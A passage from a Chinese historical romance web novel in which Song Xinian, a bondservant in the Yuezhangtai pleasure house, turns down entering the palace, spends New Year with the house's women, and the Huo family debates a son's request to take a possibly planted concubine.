宋母狐疑地看着宋昔年,宋昔年从小所有情绪都是放在脸上的,所以宋母开始疑心。
“没有我只是担心霍慎又像第一次那样,所以我心中有些不安。”
宋昔年看着母亲头上新长出的白发,她还是不忍心把父亲的事告诉母亲。
“我只是担心爹爹他们如果知道我就这么轻易原谅霍慎,他们会怪我没骨气。”
宋昔年心虚地低下头,害怕被母亲识破自己说谎。
“不会的,你爹只会希望你能过得好,你也别总是患得患失,是人就会犯错,你就大胆地再相信霍慎一次,也是给你自己一个机会。”
宋母鼓励女儿勇敢一点,给足了宋昔年支持。
“娘,卿云肯定还没吃早饭。她最喜欢吃您给她做的手擀面了,不如您给她做一碗。”
“行,我这就去做,很快的,你等我!”
洪媛支走宋母后,坐下直奔主题,开始询问宋昔年。
“说吧,现在娘不在了,你可以说给我听。”
洪媛很少这么强势地和宋昔年说话。
“没什么,是我自己最近太敏感了。”
宋昔年看着洪媛尴尬地笑,双手却在桌子底下不停地抠着。
“我们一起生活了快六年了,你什么事情不能和我说?如果是和你大哥有关的话,你更没有权利瞒着我,我是他的妻子,我有权知道的。”
洪媛的语气从平静到哀伤,仿佛宋昔年就是她的最后一根救命稻草。
“宫里准备扩招宫女,首当其冲就是我们这些罪籍官奴,但王靖宇突然说现在不是进宫的好时机,所以霍慎才会为了救我说要娶我,从而转籍逃避入宫。”
“那为何怕父亲会怪你?”洪媛打破砂锅问到底。
“因为进宫能查到陷害宋家的线索!”
宋昔年知道瞒不住了,老实交代。
洪媛想过无数的可能性,万万没想到是这个原因。她如果今天不问宋昔年,宋昔年就准备独自背负这个秘密,难怪她总是反复无常。
“杜妈妈承诺,只要我进宫,她就会帮你们转籍放你们出乐章台,所以我之前已经答应了,但是霍慎他.......”
宋昔年越说声音越小,觉得无颜面对自己的嫂子。
“杜妈妈为何突然提出这么好的条件给你,非要你进宫?你又是怎么知道线索在宫里的?”
洪媛觉得事情太蹊跷了,有太多地方说不通。
“你问的问题,我不是没有想过,我也当面问过杜妈妈,她说就当她是做善事帮我一下。”
“事出反常必有妖!也许你不进宫才是对的。”洪媛给出了最终的结论。
洪媛知道宋昔年在纠结什么,她也很想弄清楚真相,但是洪媛不敢赌,不敢用宋昔年去冒险。
“我们现在没有任何去冒险的筹码和理由,你怎么就能肯定宫里不是陷阱,如果你有个三长两短,留下我们孤儿寡母的怎么办?现在起码我们所有人都没有性命之忧!”
洪媛冷静地分析给宋昔年听,希望宋昔年别冲动行事。
“再说了,阿诺还在霍家,如果你和霍慎真的重归于好,
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那我们也算是一家团聚了啊!”
洪媛再加一剂猛药,希望宋昔年彻底放弃进宫的念头。
宋昔年没有想到身边的人居然都这么不想她进宫,她想也许这就是天意吧。
宋昔年回到三楼,杜妈妈还是像往常一样坐在窗台前喝茶,不同的是杜妈妈已经不会再看向窗外皇宫的方向了。
“回来了就过来坐吧,我猜你有话和我说!”
杜妈妈直言不讳,没有任何指责和不满。
这反而让宋昔年有点难以启齿了,她纠结该怎么开口。
“妈妈我还是有点放不下霍慎,想再给他次机会!”
宋昔年最后决定用儿女情长作为拒绝进宫的理由。
“哼!昨儿看见他来,我就大概猜到是这个结果了,到底还是在期待情爱的年纪啊!也罢有些苦你注定要吃的!由着你吧,在我没离开之前,你还有一次反悔的机会,但是事不过三,宋昔年!”
杜妈妈随性地说着,好像丝毫不在乎宋昔年是否进宫,宋昔年甚至觉得之前那个劝自己入宫的不是杜妈妈本人。
“妈妈您为何一次次地允许我反悔,还肯给我机会呢?”
宋昔年最终还是沉不住气,问出了这个问题。
“因为我情窦初开的时候,也像你现在一样傻。我也曾经为我的爱情努力过,可是我失败了,所以我想看看你是否能成功!”
杜妈妈托腮对着宋昔年说,似乎已经在等着看宋昔年的结局了。
宋昔年知道杜妈妈这是同意了,她立马拿出霍慎给她的银子,恭敬地递给杜妈妈。
“这是十一万两的赎银,还请妈妈先行收下!”
“才这么点?这也不够啊。”
杜妈妈并没有接银票,只是用扇子轻点桌面,示意宋昔年放下,杜妈妈斜睨着银票突然笑出了声。
“算了,你这银子我就先收着了,剩下的你们准备怎么补齐?”
宋昔年知道杜妈妈的笑一定还有别的含义,但她此刻不想深究。
“霍慎说剩下的他会亲自找您谈!”宋昔年老实传达霍慎的话。
“你说他不会想和我玩心眼吧?”
杜妈妈突然问宋昔年,宋昔年被问蒙了,不知该如何回答。
“哈哈哈,算了那我就等他来和我谈,我倒要看看小宋你选中的是怎样的男人。瞧着你这样以后说不定会被他吃得死死地了,你要小心点哦!”
宋昔年觉得杜妈妈今天说的话,都是话里有话,很难让人琢磨。
“在他没来找我谈之前,你必须和我学宫里的规矩,万一他没有如约而至,你也好有退路,你说呢?”
虽然杜妈妈语气温柔,但是很明显她这句话是不允许反驳的。宋昔年也很识相地答应了。
“你说如果他在我离开前还没来和我谈,你该怎么办?”
杜妈妈很严肃地问宋昔年。
宋昔年没有回答,但是她不知不觉加快的呼吸节奏,表明了她已经慌乱的事实。
“你记住,我的承诺永远有效,你可是喝过我太平猴魁的人。”
杜妈妈离开了,宋昔年一直望着窗外皇宫的方向。
54. 第 54 章
今晚是乐章台年前的最后一次开门迎客。
前些日子秦珍珍如愿当选新任花魁,最近正是秦珍珍春风得意时,她一改往日的咄咄逼人,开始对底下人和颜悦色了。面对外人也常是笑脸迎人,果然人一旦得到了自己想要的,就会变得善良,秦珍珍就是最好的例子。
晚上的乐章台总是人满为患,灯火通明,今晚更甚,客人们吟诗作对,把酒言欢,有的甚至美人在怀,和三两好友高谈阔论。
宋昔年就站在楼上看着楼下的一切。贺怜怜手持一把团扇,与宋昔年并排站着。曾经的局中人现在变成了旁观者,楼上楼下如同两个世界。
“站在这里,我才明白为什么姐姐会毫不犹豫地答应杜妈妈,也能明白为什么你要拼命往上爬了。”
宋昔年眼看着楼下的一切,与贺怜怜平静地对话,
“看来这几日,杜妈妈教你的,你都学得不错啊!”
贺怜怜开口称赞宋昔年。
“姐姐不也是越来越有未来台主的样子了嘛!”
“我不过是照猫画虎罢了!”
此时楼下的秦珍珍刚表演完下台,陪同的婢女一时失误,没有扶住秦珍珍,致使她不慎跌倒,原本拥挤的人群更是躁动地纷纷上前,想要英雄救美。
最前面的男子一把抱起秦珍珍,不管一旁的婢女阿七怎么劝阻,那男人都没有放下秦珍珍的想法。他还把秦珍珍横抱着向上举了举,像是在炫耀战利品一样。随后不知怎么的,那些男人们居然像击鼓传花一样玩儿起来接力,秦珍珍被传到每个男人怀里,还有的明明美人在怀还要去排队参与一下。
秦珍珍虽然表现得满脸娇羞,但是眼神里对这群男人的厌恶,已经到达了顶峰。
宋昔年看见从二楼雅间出来的杜妈妈,面带微笑地依在二楼的护栏上,看着秦珍珍被传完一圈之后,开口说话。
“好了,各位公子今日也算是一卿芳泽了,今晚花魁的房中贵客还是要依照乐章台的规矩来的,一切还是银子说话!”
杜妈妈此话一出,原本沸腾热闹的一楼瞬间不少人安静了下来。抱着秦珍珍的男子也把她放下了。隔了好一会儿才有个公子哥出价,不至于让秦珍珍这个花魁太丢脸。
“你瞧男人是多可笑,尤其是那最后一个,不想出钱还想占便宜,穿得似模似样的,真是知人知面不知心!”
贺怜怜讥讽着下面一群男人。
“好在姐姐如今算是苦尽甘来,不用承受这些了!”
二人相视一笑,一切尽在不言中。
杜妈妈回来看见,两位少女并排站在窗前,突然想起很多年前,自己第一次站在这里的情景,当时她是什么心情早就忘了,但是她永远记得从那天起,她开始拥有了权力和主宰自己命运的机会。
“成为旁观者的滋味如何?”
杜妈妈一边倒茶,一边问她们。
“跳出其中,我反而觉得,可能每个人的命数就是如此吧!”
宋昔年突然情绪低落地说。
“妈妈你说我以后要用什么来代替您现在的茶呢?”
贺怜怜突然的提问,岔开了原本沉重的话题。
贺怜怜现在完全能掌握自己的命运,所以她不想再回头思考这些对她来说,毫无意义的事,她只想向前看。
“这要看你自己的喜好,这只是一个象征物而已。”
杜妈妈无所谓地说着。
“那妈妈您为什么会选择用茶来作为这个象征物了?”
宋昔年从自己的情绪里出来,随口一问。
“哈哈哈,这么多年你是第一个问我这个问题的,我起初也是随手为之,但我后来就觉得,我用茶是觉得茶能时刻让我保持清醒。”
“保持清醒?人生重要的不是享受吗?”
贺怜怜不太赞同杜妈妈的话,反驳她提出了自己的想法。
“傻姐姐,你那可不叫享受,你那是清醒的沉沦!”
宋昔年的这句话,贺怜怜没有反驳。就是不服气地白了她一眼。
“我半辈子的经验告诉我,女人除了钱以外,最重要的就是要有‘一个人,一杯茶,一把伞’有了这三样,你的人生才能平安而不乏味的顺当过完!”
宋昔年和贺怜怜还年轻,人生阅历都还太浅,不能明白这句话真正的含义,杜妈妈也没有解释,只留了‘天机不可泄露’就让她们自己悟了。
宋昔年还在苦思冥想时,突然眼前出现了一个信封,宋昔年顺着信封抬眼看去,就发现阿悯面无表情地看着她,宋昔年立即起身,接过信。
“我刚才在走神,劳烦悯婶久等了,这是给我的?”
宋昔年略带歉意地和阿悯解释。
“这是阿昙那丫头送上来的,现在人还在门口说想找你。”
阿悯说这些话的时候,都是面无表情的,但是宋昔年知道其实悯婶是个热心肠。
宋昔年转头看向门口。果然发现阿昙伸着脖子往里头张望,却没有要进来的意思。宋昔年纳闷,走到门口,奇怪地看着阿昙。
“你在这张望什么?以后你也是要进来陪着怜姐姐一起居住的,为何不进来?”
阿昙一把拉住宋昔年,把她往旁边带,悄悄地从怀里掏出一个钱袋子,背着人放在了宋昔年的手上。
宋昔年看着手上暗红布料金线祥云纹样的钱袋,便露出笑容。
“这钱袋是小侯爷叫你给我的?”
宋昔年笃定地问阿昙。
“姐姐怎么知道的?这钱袋就是小侯爷的贴身小厮长寿给我的。说快过年了,小侯爷不好再往这边来,让你收下银子安心过年,还叫人送了不少年货呢,已经被宋婶拿回下院了。”
阿昙说着就露出了羡慕的神色。
“那信可是阿无送来的?”
“姐姐你是能掐会算吗?怎么次次都能猜对啊?”
阿昙崇拜地看着宋昔年。
突然阿昙感觉脑袋被人打了一下,回头发现是贺怜怜站在自己身后,嚣张的气焰立马没有了。
委屈地说:“姑娘好端端地为何打我?”
“我气你没脑子啊!你若是这么笨,以后怎么做我身边的管事之人!”
“那姑娘嫌我笨,就不能再打了,免得越打越笨,以后就没人替你管事
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了!”
阿昙说完这句话才反应过来,贺怜怜说了什么。
“姑娘,你,你,你是说……”
“瞧你吓得都结巴了,快拿些银子压压惊!”
宋昔年顺手从新得的钱袋里拿银子给阿昙。
阿昙摆手拒绝,还退后了几步。
“长寿小哥让我带信时,已经给了我银子了!沾了姐姐的光,让我白得了二十两,已经够了!”
“不愧是侯府,出手就是大方!”
贺怜怜从宋昔年手上拿过那个显眼的钱袋子,打开瞧了瞧。
“哎,这钱袋用料做工都不一般,你那情郎却只给了你一封信啊,我看还是小侯爷对你更实在些!”
贺怜怜无情吐槽着霍慎。
说起信,宋昔年迫不及待地拆开,上面只有两个字“等我”信的落款处一个‘慎’字,虽然只有三个字,但是宋昔年已经知足了。
贺怜怜实在受不了宋昔年沉浸在情爱里的样子,准备转身回屋,却被宋昔年一把拉住。
“后天就是除夕,我娘这会子一定在提前准备过年的吃食,我们一同回去看看吧!”
说完就拉着贺怜怜下楼,两人一同回下院。
因为年关将近,所以乐章台的客人今晚都不会选择留宿,亲自送走客人的秦珍珍看见宋昔年和贺怜怜姐妹二人并排从三楼下来,她们脸上的笑让秦珍珍觉得扎眼得很。
秦珍珍始终搞不明白,自己比贺怜怜差在哪,为什么贺怜怜总是能轻易得到自己得不到的东西?金钱、名望、花魁之位,甚至在乐章台人人都觉得是奢侈的友情,贺怜怜也能得到。
而自己却样样在贺怜怜之后,就连花魁的位子也是贺怜怜不要了,她才有机会。秦珍珍看着贺怜怜从自己身边经过,她看着贺怜怜的眼神里有不甘、嫉妒,还带了一点点的恨意,但更多的还是对贺怜怜的羡慕。
贺怜怜感觉到了秦珍珍向自己投来的目光,她也回看秦珍珍。
“你穿这么少,小心着凉,快回去吧!”
贺怜怜好心提醒秦珍珍。
“秦姑娘,我娘在准备过年吃食,若是有多的,我等会儿也拿点上来给大家都尝尝!”
宋昔年心情很好,看着平时没给过自己好脸色的秦珍珍,她也觉得有几分和善了。
“你知道楼里有多少姑娘吗?张口就敢承诺,你想累死宋婶吗?”
贺怜怜不留情面地训斥宋昔年。
宋昔年也不恼,只是往框着贺怜怜的胳膊紧了紧,人往贺怜怜身边贴近,向她调皮地吐着舌头。
“这不是要过年了。想着人多热闹一点嘛!我们也可以帮忙一起准备啊,没关系的!”
“你要帮忙,你帮忙就是,反正我只是去吃的,我可不会伸手!”
贺怜怜傲娇地说着,把宋昔年往旁边推了推,自己先跑回下院了。
看着二人追逐着走运,秦珍珍不知不觉也扬起了嘴角,先前心中的所有情绪也全部消失了。
“我果然不如她吗?”
秦珍珍抬头环视,此时依然亮如白昼的乐章台,深呼吸,回到了自己的房间。
55. 第 55 章
宋昔年还没进入院子,就闻到了一阵香味,进入院子,来到厨房宋昔年发现宋母在做炸虾丸。炸得金黄的虾丸看起来十分诱人,宋昔年忍不住想偷拿一颗先尝尝,却被宋母发现及时制止。
“哎~你洗手了吗?就想偷吃!”
宋母在宋昔年手背上拍了一下,自己拿出碟子夹了几个炸好的虾丸递给她。
“到一边吃去,别在这碍事!”
宋昔年乐呵呵地接过碟子,带着贺怜怜坐在一旁的小马扎上,一人一口分享着虾丸。
“嫂子呢,我回来这么久都没看见她。”
宋昔年四处寻找洪媛的身影,口齿不清地问着宋母。
“她去绣坊送绣品了,估摸着也快回来了。”
“这么晚了出门送绣品,多危险呀!”贺怜怜有些担心。
“是和隔壁的几个小丫头一起的,这绣坊就在隔壁那条街,也不算太远,马上过年了,现在每天街上都挂有灯笼,街上现在比白天还热闹些呢!”
洪媛是宋齐麾下将领之女,一同驻守东境多年,洪媛的武功不在宋昔年之下,只是嫁人生子之后,鲜少有用武之地,所以不了解内情的人以为洪媛是个手无缚鸡之力的平常妇人。
说着院门被推开,宋昔年听到动静立即出去查看,果然是洪媛回来了。宋昔年小跑到洪媛身边,将碟子里的最后一颗虾丸投喂给洪媛。
“是你最喜欢的炸虾丸,娘做了好多呢!”
洪媛感受着嘴里的炸虾丸,外酥里嫩,还很有嚼劲,满足地点头,姑嫂二人一同回了厨房、
洪媛看见宋母一个人在忙活,正准备洗手上去帮忙,宋昔年先一步端了热水给她洗手,接着就把一碗红枣姜汤递给她。
“嫂子,你先歇会,暖暖身子,待会儿我们再一起帮忙!”
宋母在灶台前忙活,听着孩子们在自己身后说笑,宋母觉得日子本该如此的,此刻的温馨也是宋昔年之后多年煎熬日子里的唯一慰藉。
霍家此时也是欢声笑语,说话的正是霍家三公子霍恃。他是霍家最为圆滑之人,能言善辩,善于经商。在京城有自己的铺面和产业,是几个兄弟中最早经济独立的。
“哎哟,你们可是不知道今年我可算是见识了,什么叫无商不奸,他们这些商贩宰客居然宰到我头上了,我可是老主顾呀。”
霍恃既气愤又无奈地向全家人诉苦。
“哈哈哈,三哥你自己就是商人,那你自己算不算是奸商啊?”
霍悟指着自己的三哥哥无情嘲笑。
霍恃才反应过来自己用词不妥,闹出了笑话,但他也不在意,难得有机会大家一块说笑,他也不想扫兴。
屋内众人都在享受一家齐聚的欢乐时光,都在喝茶聊天,等着吃晚饭。只有霍慎心不在焉,神游天外。
霍慎正在为银钱发愁,突然他感觉到自己的手心被人塞了个东西,神智回拢,发现是自己的小侄女霍明毓在霍慎掌心放了块糕点。
“四叔,吃这个,这个甜!”
胖乎乎的小丫头,明亮的眼睛看着霍慎,温热的小手在霍慎手掌里,还抓着那块糕点,没有撒手的意思。霍慎看着这个可爱的小丫头,顺势把她抱起,坐在自己腿上。
“四叔,不吃,给吃吧!”
霍慎说完这句话,小姑娘就立刻把糕点塞进自己嘴里,朝着自己父亲傻笑着,舒服地靠在霍慎怀里。
霍恒看着自己女儿的样子,他只是宠溺一笑,并未有其他言语。
霍家抱着软软的小丫头,也在幻想将来他和宋昔年的孩子会是怎样的,心情也逐渐好了起来,开始仔细听大家谈话的内容。
霍悟正在缠着霍恃讨要红包,被长辈们说教。
“老五,你再过两年也还是成家的年纪了,为何还这般跳脱,没正行,你这样是要出事的!”
霍家老二开口指责老五。
霍家二公子霍怀,从小严肃规矩大,是同辈中最不好说话,霍怀这么一说,霍悟不敢再吵闹,乖乖地闭上了嘴。
霍家众人也觉得很尴尬,霍恒不得已出来解围说道
“老二,不用这么不通情理,快过年了,大家难得高兴!”
“我不通情理?大哥你要不要问问你的好弟弟,在外都干了什么荒唐事,再来怪我扫了大家的兴致?”
霍怀半点不想退让,直接当堂质问。
“我观在座的各位的神色,是不知他的那些荒唐事?也是放在谁身上都是难以开口的丑事!”
霍悟知道自己今天是躲不过了,索性破罐子破摔,准备全部交代了。
“二哥,你不必借机逼问我,我今天就说了,也没什么大不了!”
霍悟视死如归地抬起头,看着所有人。
“我要纳妾!”霍悟说得铿锵有力。
此话一出,在场的人脸色都变得不好看了。管事的婆子带着下人们,有序退出前厅。坐在霍慎怀里的明毓也被人抱走。
大厅里静默了好一会儿,大家都在等着霍岩开口,给个主张。
“你还未娶正妻,怎么好先迎妾室进门!”
崔玉竹见霍岩不开口,自己就先开口表态。
“顾不得了,她已怀了我的孩子,等不起了!”
霍悟硬着头皮说出原因。
“老二,你是怎么知晓此事的?”
霍岩没有去管霍悟,而是去询问霍怀事情经过。
“此事,我也是听我昔日的同窗说起的,他与那女子是邻居,两家仅一墙之隔,他是偶然在院子里听见,那女子和五弟争吵,说什么堂堂霍家五公子,竟是一个始乱终弃的卑鄙之徒。我那同窗觉得事情不对,向我委婉探问,我察觉事情有异才再三逼问,他才说出实情。”
霍怀沉稳地叙述了所有的事情。
“老五,你二哥说得可对?可有不实之处?”
霍岩看向霍悟,眼神里的锋芒就像要把霍悟凌迟了一般。
“二哥说得句句属实,我的确是在陋巷给她租了一个院子。”
霍悟知道霍岩的脾气,不敢在他面前撒谎,面对霍岩锐利的眼神,霍悟只能选择逃避,不去与他对视。
“行了,那我现在说
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一下,我的想法。我不同意你先纳妾。”
霍岩的语气很平静,没有半分怒气。但是在场的所有小辈们都提心吊胆,因为知道这件事已经触碰了霍岩的底线了。
得到了霍岩答复的霍悟,彻底崩溃了,当堂大声质问坐在主位上的霍岩。
“祖父为何这么偏心?您能允许四哥娶宋昔年为妾,为何对我不能一视同仁?四哥不也是还未娶妻,就要把宋昔年迎进门了嘛!二者有何不同,难道就是因为我会试落榜,而他是高中探花吗?”
声嘶力竭之后,霍悟瘫坐回椅子上,好似已经得到了霍岩的答案。
“跪下!”
霍岩这两个字犹如言出法随,霍悟来到大厅中心跪下,不敢有半点迟疑。
“你自己丧德败行,还和兄弟攀扯,你是想为了一个女人让霍家有兄弟阋墙?”
霍岩看向跪在地上的孙子,突然又转眼盯上霍慎。
霍慎正在事不关己地喝茶,丝毫没有因为霍悟提到宋昔年而有半点不适,反而是真相大白后的坦然。
“小五,你确定那孩子是你的?”
一句话,引得大家面面相觑。霍悟没有回答,只是反问霍慎,
“四哥,这是准备帮我?”
整个霍家也只有霍慎会喊霍悟小五,这个称呼包含了霍慎对这个弟弟的所有情感。
“为何偏是此时出现个女子,又恰好有孕,偏邻居又是二哥相熟之人?”
霍慎理性地提问,却让霍悟无言以对。
如今霍家也算是在风口浪尖上,霍岩不是没有想过这个可能性,但是霍岩还是抱有一丝侥幸在,不希望事情变得很复杂,更不惜希望牵扯到家里人,但是这一切还是被霍慎点破了。
“你若真想和我比,那你就不该有纳妾的想法,你别忘了,我可是抛弃过宋昔年一次的人,你觉得我当初,为什么甘愿背上骂名也要抛弃她?”
霍慎语气中的无奈在场的人都能听得出。
当初霍家人对宋昔年和霍慎的结局都是十分惋惜和不解,他们觉得当时贬妻为妾既能顺了皇上旨意又能保住二人之间夫妻情分,一举两得。
“我就是不想像你一样的负心人,才要娶她的!”
霍岩的一句话,让气氛再次降至冰点。
忽而刮起了风,大厅内无人出声,大家不约而同地选择听着外面呼啸的风声。明明屋里门窗紧闭,炭火旺盛,但就是让人感觉有风从门外刮进屋里,甚至是刮进每个人的心里,寒冷彻骨。
“宋昔年的身份大家都清楚,老四要娶她,我是没意见的,反正我们二房本来就是庶出,将来既不用当家理事也不指望他一个庶子去光耀门楣,我们将来横竖是要分府别居的,也不必在这争论了。”
顾渝这番话,打破了僵持的气氛。也震惊了所有人。
霍岩更是不悦地开口训斥顾渝:“你在晚辈们面前瞎说什么?我还没死呢!”
“照这样下去,你觉得你还能活多久?”
顾渝的话,在众人心里掀起了惊涛骇浪,今晚霍家注定是个不眠之夜。
56. 第 56 章
顾渝拿起手中的帕子,优雅地打了个哈欠,或许是年纪大了,顾渝脸上露出疲惫的神色。所有人都把目光聚集在顾渝的身上,等待着她的下文,但是顾渝只是慢悠悠地开口说道:
“时辰不早了,你们不饿吗?”
此时众人才反应过来,大家都还未用晚饭,本是高高兴兴的团圆饭,现在霍家的人却食不知味,饭桌上气氛也变得很尴尬。一顿饭就这么在沉默中匆忙结束。
饭后下人们收拾了桌子,重新奉上新的茶水点心,大家显然是不打算轻易揭过这事。长久的沉默之后,霍悟作为事件的主角第一个沉不住气了。
“我知道你们很多人,不赞成我先纳妾,但是肚子里的孩子等不起的,也不是我非要现在纳妾,我也是被逼无奈啊!”
霍悟表示了自己的苦衷,把自己的位置放得很低,希望得到大家的同情。
饭后选座位时,机灵的霍恃和霍慎强行换了位子,霍恃坐到了最末尾的位置上,间接表明了自己的态度。他这一举动被霍岩发现了,但也默许了,霍岩不想把事情再弄得太复杂,事件主体越少,事情越简单,这也是霍家一贯处理事情的风格。
“若是告诉你,这有可能是陷阱,你还执意如此吗?”
霍岩终于和霍悟正面聊这个问题了。
霍悟不明白家里人为何总是前怕狼后怕虎,遇事总是过分小心谨慎,霍悟都要被压得喘不过气了。
“不管是不是陷阱,她有了我的孩子,这是事实!难道要因为无端的怀疑,要让孩子流落在外吗?”
霍悟这番话说得很有担当,和他平时给人的印象完全不一样。
“你怎么就这么笃定这孩子是你的呢?”
霍怀怒极反笑,十分无语。
霍悟难得脑子好使了一回,与霍怀反唇相讥,问道:“那你又怎么证明孩子不是我的?”
如此一来事情又回到了原点,根本无法解决,谁也无法说服谁。
“这件事的关键在于怎么解决,而不是反复在没有意义的事情上争论。”
霍恒作为霍家长孙,出面调停,希望能够尽快解决这件事。他此话一出,所有的目光都聚集在他的身上了,希望霍恒能给个合理的方法。可为人师表的霍恒,实在不好轻言判断一个女子的清白问题,霍恒也是为难得很。
“既然都不好拿主意,那就我来做这个坏人!老五,你也看到你祖父的态度了,这件事很有可能是别人做的局,不好因为你一人,叫我们全家人处于危险之中的,现在时间太特殊了。就由我做主,给那女子一笔银子,就此你们一别两宽吧!”
崔玉竹开口想要决定此事,她作为霍悟的亲祖母,自然也是不愿意看到自己的孙子,因为一个女子,毁了自己的一生。
正当大家以为事情就这么圆满解决时,霍岩的眉头却始终没能松开。像是要在思考却始终没能开口。
霍慎坐在位子上,闭目养神,却被坐在一旁的霍恃碰了碰。霍慎转头看向自己的三哥,眼神里带了睡觉被打搅的不悦。霍恃自动忽略了霍慎的不悦,不断暗示霍慎出个主意,眼睛都要眨抽筋了。霍慎估摸着时间也的确不早了,不想再陪着空耗下去。
“祖父,您有什么顾虑不妨直言,如今事情已经到了这个地步,若真有什么到头来还是要大家一起面对的!”
霍慎开门见山,不纠结其他没必要的问题,直接提出自己的疑问。
“事到如今,脸面名声都是小事,只怕若是真的引狼入室,家里将再无安宁了!”
霍岩似乎笃定这一切就是陷阱,也透露出不反对霍悟纳妾的意思。
话音刚落,霍悟就起身拜谢!
“先别急着高兴,若真有诈,你当如何?”
“她一女子,又是妾室,大门都不得出的,若真有诈,小心提防就是了,弱女子想来不过是传递消息用的,我们小心着些,总是能防住的!”
霍悟也不是个糊涂的人。条理清晰地分析着可能性。
大家看霍悟自己能拎得清,也是放心不少,起码证明霍悟不会被情爱冲昏头脑,真的不顾霍家死活。
“你倒是不怕被戴绿帽子!”
霍怀冷不丁来了这么一句,霍悟知道家里最死板的就是霍怀,自己做了这么不雅的事,以霍怀的性格肯定是不能接受的。霍悟目的达到了,也不想和他争吵。
“绿不绿帽子现在也不是多要紧的,反正他们确实有了夫妻之实,若是肚子月份还小,就直接让她从侧门进府,也不必坐轿子了,免得以后让她觉得霍家好拿捏!”
顾渝随口一说,但是大家都明白顾渝的意思。
这种做法大家一致默认,也是防止那女子如果真的是别人埋下的棋子,提前给了下马威,以后提防时不会太突兀,不会打草惊蛇。
“好了,事情就这么定了,大家都先回去吧!”
霍岩发话了,大家各自回去休息,但是霍恒却没有任何动作,仍然坐在椅子上若无其事地喝茶,霍慎只是看了一眼,就跟在霍恃后面准备离开。霍慎自己最近焦头烂额,已经没有精力在掺和别的事了。他现在只想姐姐睡一觉。
“勤之,你也再多留一会儿吧,我还有事说!”
怕什么来什么,霍慎在最后一刻还是被霍岩留了下来。
霍恒知道霍慎不太乐意了,笑着递给霍慎一块他最爱的云片糕,霍慎伸手接过,低头一片片地把云片糕分开,再分成两半放入嘴里。
云片糕入口即化,微甜入口,霍慎的心情好了许多,他一边吃着云片糕一边等着霍岩开口。夜已深,室内的烛火也变得暗淡许多,霍岩苍老的脸,在忽明忽暗的烛火下,让人更加难以捉摸。
“之前是我太天真了,总以为做好自己分内的事,避开那些人的锋芒,便可安然无恙。”
“祖父,人心难测,欲壑难填,君子还是小人就是转瞬之间的事,不可能一成不变的。”
霍恒劝谏霍岩,希望他别太放在心上,太为难自己。
霍慎始终一句话没说,只是安静地听着,直到霍慎把最后一片糕点放入嘴里。随着云片糕在舌尖化开,霍慎拍拍手上残余的糕点残渣,缓缓抬头。
“横竖他们棋子已经安排了,我们不如看看他们想如何。人只要在我们手上,就总会有露出马脚的一天,我们兵来将挡,水来土掩就是。”
霍慎的眼睛里倒映着烛火,霍慎好看的眼睛突然变得阴
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鸷了。
天光破晓时,乐章台的姑娘们就闹哄哄地起来了,都在一楼集合,下院的婢女们也迫不及待地全部上来了。每个人的脸上都带着笑容,期待着这一天的到来。
除夕前一天乐章台所有的人都是在为自己忙活,不用伺候男人,按照乐章台的规矩,杜妈妈会给乐章台的每个人发红包,大家一早集合就是为了拿红包。
宋昔年还在睡梦中,就被贺怜怜强行从床上拖了起来。今日的贺怜怜没有穿往日的长衣宽袖,而是简单的罗裙配上大红的腰带,头上依旧是珍珠不摇,这样的打扮,更显得贺怜怜有几分小女儿家的俏丽。
“天都没亮,让我多睡会儿,今日不是关门歇业吗?”
宋昔年懒懒地反抗,想要再多睡会儿。
“就是因为歇业,才要早早起来,快点别废话,今天可有的忙了。”
贺怜怜用力地拍在宋昔年的背上,宋昔年突然被打,痛得眼泪都出来了,也没有心情再睡。
下床坐着醒神,手上被贺怜怜放了一件衣服,宋昔年忍不住用手摸了摸,布料丝滑柔软。宋昔年睁眼看了下,是一整套的红色软锦暖绸,没有繁复的绣样,但是料子却是顶顶好的。
“别愣着啦,快试试,我也就这么点暖绸是我当年夺花魁时的奖品,我一直都舍不得穿,前些日子搬家偶然翻到的,刚好给你做一件衣裙!”
话音未落,宋昔年就从后边抱住贺怜怜,和她亲昵地蹭了蹭,就像小猫一样缠着贺怜怜。
贺怜怜亲自为宋昔年穿上这身衣服,一脸欣赏地看着宋昔年。
“果然这么好的衣服,给你穿才能压得住!”
贺怜怜感叹自己的决定是对的。
这一身软锦垂感很好,上身之后没有半点褶皱,柔软的就像婴儿的皮肤,贴肤自暖,价值不菲,就算是从前宋昔年也不过就两身,都是出席重要场合才穿的。宋昔年没想到贺怜怜居然舍得给自己做衣服,她心里又高兴又心酸。
姐妹俩下楼时,一楼的短案已经被拼成了整个长案,姑娘们自发地安排位置。还四处挂上了红灯笼吗门上贴上了福字,整个乐章台喜气洋洋地迎接新年除夕的到来。
宋昔年本以为这个新年会过得冷清无趣,却没想到会是这番景象。
高处的灯笼挂不上,要用很长的竹竿去够,宋昔年主动帮忙,轻身一跃就挂上了,之后宋昔年顺着早就挂好的红绸轻松落地,宋昔年的轻功获得了称赞。一转头大家看到宋昔年的模样更是惊讶,赞叹道好一个鲜衣逍遥的侠女。
因为不用招待男客,宋昔年今日就没乔装戴面纱,她觉得轻松许多,可以暂时享受当下。
杜妈妈从三楼丢下许多钱袋子,所有的人都争抢想拿到最多的一个,每人也只拿一个。今天没有主仆,大家都是一样的,共同迎接新的一年到来。
乐章台的流水席开了三天,不分昼夜。每个人都拿出了自己准备的年食,大家一起吃,其中宋母的吃食最受欢迎,都说有家的味道。
这三天是大家一年当中最开心的时刻,大家想上台跳舞就跳舞,想喝酒喝酒,没有偏见和压迫,当下女孩们只有自己,不用在乎任何人的想法,可以尽情享受自由!
57. 第 57 章
这个年霍家人因为事情太多,过得很潦草,但是对于底下的仆人们过年还是他们最期待的日子,因为每到过年的时候,主家就会给每个人发过年的赏银,有时候多的话,能抵得过他们一年的月钱!
今年是宋诺第一年在霍家过年,其实原本他很不习惯的,但是阿无一直陪着宋诺,为了分散宋诺的情绪,两人约定过完年等钱庄开门,就带宋诺去存银子,两人吃完年夜饭,等所有人都休息了,就凑在一起数各自的存银,笑得合不拢嘴。
这个新年有人欢喜有人愁,大年初三一早,寅时未过,不见天光,就有人急忙拍响了霍家的大门。
今年直到现在都没见一片雪花,但是天气却非常冷,今天负责门房的是霍府袁老汉的儿子,小袁是家生子,想着过年应该没什么人,才会主动替自己老爹看门。
谁能想到就能遇上这么早就有人来叫门的事,小袁慢悠悠地穿衣,鞋子都没穿好,就去开门。
“这么一大早的,是谁啊,不知道这是在年关期间吗?”
小袁到底年轻,满脸不乐意地去开门,但也只是把门开了一个小缝,并未完全打开。外边乌漆麻黑,小袁看不清来人是谁,就把灯笼举高,眯眼想看清叫门的是谁。还未开口说话,自己就被门撞的跌出去老远。鞋子都被甩飞了好远。
